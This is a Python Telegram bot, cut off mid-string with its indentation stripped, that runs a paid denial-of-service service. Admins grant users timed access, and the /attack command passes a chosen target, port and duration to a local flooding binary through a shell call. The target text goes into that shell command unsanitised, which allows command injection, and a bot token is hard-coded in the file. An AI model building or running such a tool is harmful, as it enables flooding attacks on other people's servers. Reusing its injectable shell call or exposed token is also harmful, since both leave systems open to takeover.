#!/usr/bin/python3
import os
import telebot
from flask import Flask, request
import subprocess
import requests
import datetime
import threading
from dotenv import load_dotenv
# Load environment variables
load_dotenv()
# Initialize Flask app
app = Flask(__name__)
# Get bot token from environment variables
BOT_TOKEN = os.getenv('BOT_TOKEN', '8686080430:AAFdzAYwM4hNTsyiknJMIfBFTtSOHkgn-E8')
bot = telebot.TeleBot(BOT_TOKEN)
# Admin user IDs
admin_id = ["7474658501"]
# File to store allowed user IDs
USER_FILE = "users.txt"
# File to store command logs
LOG_FILE = "log.txt"
# Function to read user IDs from the file
def read_users():
try:
with open(USER_FILE, "r") as file:
return file.read().splitlines()
except FileNotFoundError:
return []
# List to store allowed user IDs
allowed_user_ids = read_users()
# Function to log command to the file
def log_command(user_id, target, port, time):
admin_id = ["7474658501"]
user_info = bot.get_chat(user_id)
if user_info.username:
username = "@" + user_info.username
else:
username = f"UserID: {user_id}"
with open(LOG_FILE, "a") as file: # Open in "append" mode
file.write(f"Username: {username}\nTarget: {target}\nPort: {port}\nTime: {time}\n\n")
# Function to clear logs
def clear_logs():
try:
with open(LOG_FILE, "r+") as file:
if file.read() == "":
response = "Logs are already cleared. No data found."
else:
file.truncate(0)
response = "Logs cleared successfully"
except FileNotFoundError:
response = "No logs found to clear."
return response
# Function to record command logs
def record_command_logs(user_id, command, target=None, port=None, time=None):
log_entry = f"UserID: {user_id} | Time: {datetime.datetime.now()} | Command: {command}"
if target:
log_entry += f" | Target: {target}"
if port:
log_entry += f" | Port: {port}"
if time:
log_entry += f" | Time: {time}"
with open(LOG_FILE, "a") as file:
file.write(log_entry + "\n")
# Dictionary to store the approval expiry date for each user
user_approval_expiry = {}
# Function to calculate remaining approval time
def get_remaining_approval_time(user_id):
expiry_date = user_approval_expiry.get(user_id)
if expiry_date:
remaining_time = expiry_date - datetime.datetime.now()
if remaining_time.days < 0:
return "Expired"
else:
return str(remaining_time)
else:
return "N/A"
# Function to add or update user approval expiry date
def set_approval_expiry_date(user_id, duration, time_unit):
current_time = datetime.datetime.now()
if time_unit == "hour" or time_unit == "hours":
expiry_date = current_time + datetime.timedelta(hours=duration)
elif time_unit == "day" or time_unit == "days":
expiry_date = current_time + datetime.timedelta(days=duration)
elif time_unit == "week" or time_unit == "weeks":
expiry_date = current_time + datetime.timedelta(weeks=duration)
elif time_unit == "month" or time_unit == "months":
expiry_date = current_time + datetime.timedelta(days=30 * duration) # Approximation of a month
else:
return False
user_approval_expiry[user_id] = expiry_date
return True
# Command handler for adding a user with approval time
@bot.message_handler(commands=['add'])
def add_user(message):
user_id = str(message.chat.id)
if user_id in admin_id:
command = message.text.split()
if len(command) > 2:
user_to_add = command[1]
duration_str = command[2]
try:
duration = int(duration_str[:-4]) # Extract the numeric part of the duration
if duration <= 0:
raise ValueError
time_unit = duration_str[-4:].lower() # Extract the time unit (e.g., 'hour', 'day', 'week', 'month')
if time_unit not in ('hour', 'hours', 'day', 'days', 'week', 'weeks', 'month', 'months'):
raise ValueError
except ValueError:
response = "Invalid duration format. Please provide a positive integer followed by 'hour(s)', 'day(s)', 'week(s)', or 'month(s)'."
bot.reply_to(message, response)
return
if user_to_add not in allowed_user_ids:
allowed_user_ids.append(user_to_add)
with open(USER_FILE, "a") as file:
file.write(f"{user_to_add}\n")
if set_approval_expiry_date(user_to_add, duration, time_unit):
response = f"User {user_to_add} added successfully for {duration} {time_unit}. Access will expire on {user_approval_expiry[user_to_add].strftime('%Y-%m-%d %H:%M:%S')}."
else:
response = "Failed to set approval expiry date. Please try again later."
else:
response = "User already exists."
else:
response = "Please specify a user ID and the duration (e.g., 1hour, 2days, 3weeks, 4months) to add."
else:
response = "Only admin can use this command."
bot.reply_to(message, response)
# Command handler for retrieving user info
@bot.message_handler(commands=['myinfo'])
def get_user_info(message):
user_id = str(message.chat.id)
user_info = bot.get_chat(user_id)
username = user_info.username if user_info.username else "N/A"
user_role = "Admin" if user_id in admin_id else "User"
remaining_time = get_remaining_approval_time(user_id)
response = f"Your Info:\n\nUser ID: {user_id}\nUsername: {username}\nRole: {user_role}\nApproval Expiry Date: {user_approval_expiry.get(user_id, 'Not Approved')}\nRemaining Approval Time: {remaining_time}"
bot.reply_to(message, response, parse_mode="HTML")
@bot.message_handler(commands=['remove'])
def remove_user(message):
user_id = str(message.chat.id)
if user_id in admin_id:
command = message.text.split()
if len(command) > 1:
user_to_remove = command[1]
if user_to_remove in allowed_user_ids:
allowed_user_ids.remove(user_to_remove)
with open(USER_FILE, "w") as file:
for user_id in allowed_user_ids:
file.write(f"{user_id}\n")
response = f"User {user_to_remove} removed successfully."
else:
response = f"User {user_to_remove} not found in the list."
else:
response = "Please Specify A User ID to Remove. Usage: /remove "
else:
response = "Only admin can use this command."
bot.reply_to(message, response)
@bot.message_handler(commands=['clearlogs'])
def clear_logs_command(message):
user_id = str(message.chat.id)
if user_id in admin_id:
try:
with open(LOG_FILE, "r+") as file:
log_content = file.read()
if log_content.strip() == "":
response = "Logs are already cleared. No data found."
else:
file.truncate(0)
response = "Logs Cleared Successfully"
except FileNotFoundError:
response = "Logs are already cleared."
else:
response = "Only admin can use this command."
bot.reply_to(message, response)
@bot.message_handler(commands=['clearusers'])
def clear_users_command(message):
user_id = str(message.chat.id)
if user_id in admin_id:
try:
with open(USER_FILE, "r+") as file:
log_content = file.read()
if log_content.strip() == "":
response = "USERS are already cleared. No data found."
else:
file.truncate(0)
response = "users Cleared Successfully"
except FileNotFoundError:
response = "users are already cleared."
else:
response = "Only admin can use this command."
bot.reply_to(message, response)
@bot.message_handler(commands=['allusers'])
def show_all_users(message):
user_id = str(message.chat.id)
if user_id in admin_id:
try:
with open(USER_FILE, "r") as file:
user_ids = file.read().splitlines()
if user_ids:
response = "Authorized Users:\n"
for user_id in user_ids:
try:
user_info = bot.get_chat(int(user_id))
username = user_info.username
response += f"- @{username} (ID: {user_id})\n"
except Exception as e:
response += f"- User ID: {user_id}\n"
else:
response = "No data found"
except FileNotFoundError:
response = "No data found"
else:
response = "Only admin can use this command."
bot.reply_to(message, response)
@bot.message_handler(commands=['logs'])
def show_recent_logs(message):
user_id = str(message.chat.id)
if user_id in admin_id:
if os.path.exists(LOG_FILE) and os.stat(LOG_FILE).st_size > 0:
try:
with open(LOG_FILE, "rb") as file:
bot.send_document(message.chat.id, file)
except FileNotFoundError:
response = "No data found."
bot.reply_to(message, response)
else:
response = "No data found"
bot.reply_to(message, response)
else:
response = "Only admin can use this command."
bot.reply_to(message, response)
# Function to handle the reply when free users run the /attack command
def start_attack_reply(message, target, port, time):
user_info = message.from_user
username = user_info.username if user_info.username else user_info.first_name
response = f"{username}, ATTACK STARTED.\n\nTarget: {target}\nPort: {port}\nTime: {time} Seconds\nMethod: VIP"
bot.reply_to(message, response)
# Dictionary to store the last time each user ran the /attack command
bgmi_cooldown = {}
COOLDOWN_TIME = 0
# Handler for /attack command
@bot.message_handler(commands=['attack'])
def handle_attack(message):
user_id = str(message.chat.id)
if user_id in allowed_user_ids or user_id in admin_id:
# Check if the user is in admin_id (admins have no cooldown)
if user_id not in admin_id:
# Check if the user has run the command before and is still within the cooldown period
if user_id in bgmi_cooldown and (datetime.datetime.now() - bgmi_cooldown[user_id]).seconds < 0:
response = "You Are On Cooldown. Please Wait 0sec Before Running The /attack Command Again."
bot.reply_to(message, response)
return
# Update the last time the user ran the command
bgmi_cooldown[user_id] = datetime.datetime.now()
command = message.text.split()
if len(command) == 4: # Updated to accept target, time, and port
target = command[1]
port = int(command[2]) # Convert time to integer
time = int(command[3]) # Convert port to integer
if time > 1000:
response = "Error: Time interval must be less than 1000."
bot.reply_to(message, response)
return
else:
record_command_logs(user_id, '/attack', target, port, time)
log_command(user_id, target, port, time)
start_attack_reply(message, target, port, time) # Call start_attack_reply function
# Execute king binary in isolated environment to prevent it from accessing bot
original_token = bot.token
def run_attack():
# Temporarily replace bot token to prevent king from sending messages
bot.token = "INVALID_TOKEN"
full_command = f"./king {target} {port} {time} 500"
result = subprocess.run(full_command, shell=True, capture_output=True, text=True)
# Restore original token
bot.token = original_token
completion_msg = f"Attack Finished. Target: {target} Port: {port} Time: {time} seconds"
bot.send_message(message.chat.id, completion_msg)
thread = threading.Thread(target=run_attack)
thread.start()
else:
response = "Usage :- /attack